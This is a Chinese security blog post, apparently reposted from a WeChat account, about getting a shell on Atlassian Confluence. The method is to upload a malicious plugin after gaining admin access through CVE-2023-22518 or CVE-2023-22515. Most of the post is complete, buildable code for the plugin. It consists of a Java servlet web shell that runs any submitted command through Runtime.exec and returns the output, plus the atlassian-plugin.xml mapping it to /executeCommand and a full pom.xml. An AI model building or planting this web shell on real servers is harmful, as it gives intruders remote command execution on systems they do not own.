Confluence CommandExecutor插件Getshell

admin 2024年2月15日18:02:08评论34 views字数 6473阅读21分34秒阅读模式

0x01 前言

最近confluence出了两个新漏洞分别是,CVE-2023-22518与CVE-2023-22515都可进入后台(漏洞分析看主页),通过后台"管理应用"->"上传应用"功能可以上传jar或obr,利用此功能我们可获取权限。
代码工程与编译好的插件已放到

已放到小密圈,一次加入永久有效,欢迎朋友们加入。
环境搭建参考:
https://www.jianshu.com/p/a69f815d9e67

0x02 脚本代码

CommandExecutor.java

package com.jenseny.confluence.tutorial.macro;

import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.io.PrintWriter;

public class CommandExecutor extends HttpServlet {
    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws IOException {
        // Write the HTML form to the response.
        PrintWriter writer = resp.getWriter();
        writer.write("<html><body>");
        writer.write("<form method=\"post\">");
        writer.write("Command: <input type=\"text\" name=\"command\">");
        writer.write("<input type=\"submit\" value=\"Execute\">");
        writer.write("</form>");
        writer.write("</body></html>");
    }

    @Override
    protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws IOException {
        String command = req.getParameter("command");

        // Execute the command and get the output.
        Process process = Runtime.getRuntime().exec(command);
        BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream()));
        StringBuilder output = new StringBuilder();
        String line;
        while ((line = reader.readLine()) != null) {
            output.append(line).append("\n");
        }

        // Write the output to the response.
        resp.setContentType("text/plain");
        resp.getWriter().write(output.toString());
    }
}

atlassian-plugin.xml

<atlassian-plugin key="${atlassian.plugin.key}" name="${project.name}" plugins-version="2">
    <plugin-info>
        <description>${project.description}</description>
        <version>${project.version}</version>
        <vendor name="${project.organization.name}" url="${project.organization.url}" />
        <param name="plugin-icon">images/pluginIcon.png</param>
        <param name="plugin-logo">images/pluginLogo.png</param>
    </plugin-info>

  
  <servlet name="Command Executor Servlet" key="CommandExecutor" class="com.jenseny.confluence.tutorial.macro.CommandExecutor">
        <description>A servlet to execute shell commands from a form.</description>
        <url-pattern>/executeCommand</url-pattern>
    </servlet>
</atlassian-plugin>

pom.xml

<?xml version="1.0" encoding="UTF-8"?>

<project xmlns="http://maven.apache.org/POM/4.0.0"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd">

    <modelVersion>4.0.0</modelVersion>
    <groupId>com.jenseny.confluence.tutorial</groupId>
    <artifactId>Command-Executor</artifactId>
    <version>1.0.0-SNAPSHOT</version>

    <organization>
        <name>Example Company</name>
        <url>http://www.example.com/</url>
    </organization>

    <name>Command-Executor</name>
    <description>test.</description>
    <packaging>atlassian-plugin</packaging>

    <dependencies>
        <dependency>
            <groupId>junit</groupId>
            <artifactId>junit</artifactId>
            <version>4.10</version>
            <scope>test</scope>
        </dependency>
    <dependency>
      <groupId>javax.servlet</groupId>
      <artifactId>javax.servlet-api</artifactId>
      <version>4.0.1</version>
      <scope>provided</scope>
    </dependency>
        <dependency>
            <groupId>com.atlassian.confluence</groupId>
            <artifactId>confluence</artifactId>
            <version>${confluence.version}</version>
            <scope>provided</scope>
        </dependency>

        <dependency>
            <groupId>com.atlassian.plugin</groupId>
            <artifactId>atlassian-spring-scanner-annotation</artifactId>
            <version>${atlassian.spring.scanner.version}</version>
            <scope>compile</scope>
        </dependency>

        <dependency>
            <groupId>com.atlassian.plugin</groupId>
            <artifactId>atlassian-spring-scanner-runtime</artifactId>
            <version>${atlassian.spring.scanner.version}</version>
            <scope>runtime</scope>
        </dependency>

        <dependency>
            <groupId>javax.inject</groupId>
            <artifactId>javax.inject</artifactId>
            <version>1</version>
            <scope>provided</scope>
        </dependency>

        <!-- WIRED TEST RUNNER DEPENDENCIES -->
        <dependency>
            <groupId>com.atlassian.plugins</groupId>
            <artifactId>atlassian-plugins-osgi-testrunner</artifactId>
            <version>${plugin.testrunner.version}</version>
            <scope>test</scope>
        </dependency>
        <dependency>
            <groupId>javax.ws.rs</groupId>
            <artifactId>jsr311-api</artifactId>
            <version>1.1.1</version>
            <scope>provided</scope>
        </dependency>
        <dependency>
            <groupId>com.google.code.gson</groupId>
            <artifactId>gson</artifactId>
            <version>2.2.2-atlassian-1</version>
        </dependency>
    </dependencies>

    <build>
        <plugins>
            <plugin>
                <groupId>com.atlassian.maven.plugins</groupId>
                <artifactId>confluence-maven-plugin</artifactId>
                <version>${amps.version}</version>
                <extensions>true</extensions>
                <configuration>
                    <productVersion>${confluence.version}</productVersion>
                    <productDataVersion>${confluence.data.version}</productDataVersion>
                    <enableQuickReload>true</enableQuickReload>

                    <!-- See here for an explanation of default instructions: -->
                    <!-- https://developer.atlassian.com/docs/advanced-topics/configuration-of-instructions-in-atlassian-plugins -->
                    <instructions>
                        <Atlassian-Plugin-Key>${atlassian.plugin.key}</Atlassian-Plugin-Key>

                        <!-- Add package to export here -->
                        <Export-Package>
                            com.jenseny.confluence.tutorial.api,
                        </Export-Package>

                        <!-- Add package import here -->
                        <Import-Package>
                            org.springframework.osgi.*;resolution:="optional",
                            org.eclipse.gemini.blueprint.*;resolution:="optional",
                            *
                        </Import-Package>

                        <!-- Ensure plugin is spring powered -->
                        <Spring-Context>*</Spring-Context>
                    </instructions>
                </configuration>
            </plugin>

            <plugin>
                <groupId>com.atlassian.plugin</groupId>
                <artifactId>atlassian-spring-scanner-maven-plugin</artifactId>
                <version>${atlassian.spring.scanner.version}</version>
                <executions>
                    <execution>
                        <goals>
                            <goal>atlassian-spring-scanner</goal>
                        </goals>
                        <phase>process-classes</phase>
                    </execution>
                </executions>
                <configuration>
                    <scannedDependencies>
                        <dependency>
                            <groupId>com.atlassian.plugin</groupId>
                            <artifactId>atlassian-spring-scanner-external-jar</artifactId>
                        </dependency>
                    </scannedDependencies>
                    <verbose>false</verbose>
                </configuration>
            </plugin>
        </plugins>
    </build>

    <properties>
        <confluence.version>6.14.0</confluence.version>
        <confluence.data.version>6.14.0</confluence.data.version>
        <amps.version>8.0.2</amps.version>
        <plugin.testrunner.version>2.0.1</plugin.testrunner.version>
        <atlassian.spring.scanner.version>1.2.13</atlassian.spring.scanner.version>
        <!-- This property ensures consistency between the key in atlassian-plugin.xml and the OSGi bundle's key. -->
        <atlassian.plugin.key>${project.groupId}.${project.artifactId}</atlassian.plugin.key>
        <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
        <maven.compiler.source>1.8</maven.compiler.source>
        <maven.compiler.target>1.8</maven.compiler.target>
    </properties>

</project>

0x03 漏洞复现

Confluence CommandExecutor插件Getshell

 

Confluence CommandExecutor插件Getshell

 

 

 

 

 

 

原文始发于微信公众号(小黑说安全):Confluence CommandExecutor插件Getshell

 

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  • 本文由 发表于 2024年2月15日18:02:08
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Confluence CommandExecutor插件Getshellhttps://cn-sec.com/archives/2187439.html

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